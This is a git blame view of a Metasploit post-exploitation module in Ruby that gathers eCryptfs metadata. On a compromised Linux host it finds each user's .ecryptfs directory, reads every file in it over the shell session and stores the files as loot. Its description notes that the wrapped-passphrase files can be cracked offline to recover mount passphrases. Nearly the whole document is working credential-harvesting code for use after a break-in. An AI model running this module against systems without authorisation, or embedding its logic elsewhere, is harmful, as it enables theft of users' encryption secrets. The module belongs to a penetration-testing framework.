Files
metasploit-gs/modules/post/linux/gather/ecryptfs_creds.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

67 lines
1.9 KiB
Ruby
Raw Normal View History

2013-07-29 22:10:25 -05:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2013-07-29 22:10:25 -05:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Post
2013-09-05 13:41:25 -05:00
include Msf::Post::File
include Msf::Post::Unix
2013-07-29 22:10:25 -05:00
2023-02-08 13:47:34 +00:00
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Gather eCryptfs Metadata',
'Description' => %q{
This module will collect the contents of all users' .ecrypts directories on
the targeted machine. Collected "wrapped-passphrase" files can be
cracked with John the Ripper (JtR) to recover "mount passphrases".
},
'License' => MSF_LICENSE,
'Author' => ['Dhiru Kholia <dhiru[at]openwall.com>'],
'Platform' => ['linux'],
'SessionTypes' => ['shell']
)
)
2013-07-29 22:10:25 -05:00
end
# This module is largely based on ssh_creds, gpg_creds and firefox_creds.rb.
def run
2023-02-08 13:47:34 +00:00
print_status('Finding .ecryptfs directories')
paths = enum_user_directories.map { |d| d + '/.ecryptfs' }
2013-07-29 22:10:25 -05:00
# Array#select! is only in 1.9
paths = paths.select { |d| directory?(d) }
2023-02-08 13:47:34 +00:00
if paths.nil? || paths.empty?
print_error('No users found with a .ecryptfs directory')
2013-07-29 22:10:25 -05:00
return
end
download_loot(paths)
end
def download_loot(paths)
print_status("Looting #{paths.count} directories")
paths.each do |path|
path.chomp!
2023-02-08 13:47:34 +00:00
sep = '/'
2013-07-29 22:10:25 -05:00
files = cmd_exec("ls -1 #{path}").split(/\r\n|\r|\n/)
files.each do |file|
target = "#{path}#{sep}#{file}"
if directory?(target)
next
end
2023-02-08 13:47:34 +00:00
2013-07-29 22:10:25 -05:00
print_status("Downloading #{path}#{sep}#{file} -> #{file}")
data = read_file(target)
file = file.split(sep).last
2023-02-08 13:47:34 +00:00
loot_path = store_loot("ecryptfs.#{file}", 'text/plain', session, data,
nil, "eCryptfs #{file} File")
print_good("File stored in: #{loot_path}")
2013-07-29 22:10:25 -05:00
end
end
end
end